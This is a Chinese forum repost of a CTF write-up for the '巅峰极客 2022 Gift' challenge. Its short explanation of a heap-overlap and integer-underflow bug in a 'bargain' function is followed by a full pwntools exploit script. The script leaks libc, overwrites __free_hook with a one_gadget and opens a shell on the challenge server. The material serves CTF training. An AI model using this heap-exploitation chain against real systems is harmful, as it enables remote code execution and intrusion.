找回密码
 立即注册
首页 资源区 代码 [巅峰极客 2022]Gift+堆栈重叠+整数溢出

[巅峰极客 2022]Gift+堆栈重叠+整数溢出

UlyssesDen 2025-5-28 22:19:01
[巅峰极客 2022]Gift

1.png

这个是他的一个主要代码在我们分析的时候会发现有功能的只有三个函数体因此我们主要看这里几个就可以了
因此我们查看数据的时候会发现几个漏洞点一个是那么我们先看源代码
2.png

3.png

4.png

5.png

在这几个函数体中我们会发现bargain这个函数他有着要给对堆块数据的一个相减的作用因此我们可以使用这个函数实现要给tacahe dup的一个攻击手法
因此我们这附上核心代码
  1. io = remote("node4.anna.nssctf.cn", 28962)
  2. choose(1, b"a" * 0xa0 + p64(0) + p64(0x471))  # 0
  3. choose(1, "bbbbb")  # 1
  4. choose(1, "cccc")  # 2
  5. remove(0)
  6. remove(2)
  7. bargain(2, -0xc0)
  8. choose(1, "/bin/sh")  # 3
  9. choose(1, "eeee")  # 4
  10. # gdb.attach(io)
  11. choose(1, "ffff")  # 5
  12. choose(1, b"g" * 0xd0 + p64(0) + p64(0x21))  # 6
  13. # debug()
  14. remove(4)
  15. check(4)
  16. ru("cost: ")
  17. libc_base = int(ru('\n')[:-1], 10) - 0x3ebca0
  18. slog("libc_base", libc_base)
  19. libc = ELF("/home/fofa/桌面/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6")
  20. free_hook = libc.sym['__free_hook'] + libc_base
  21. system_addr = libc.sym['system'] + libc_base
  22. slog("system_addr", system_addr)
  23. remove(5)
  24. remove(1)
  25. choose(2, b'\x00' * 0x38 + p64(0x111) + p64(free_hook - 0x10))  # 7
  26. choose(1, "aaa")  # 8
  27. one_gadgets = [0x4f2a5, 0x4f302, 0x10a2fc]
  28. shell = one_gadgets[1] + libc_base
  29. choose(1, p64(shell))  # 9
  30. remove(3)
  31. io.interactive()
复制代码
来源:新程序网络收集,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册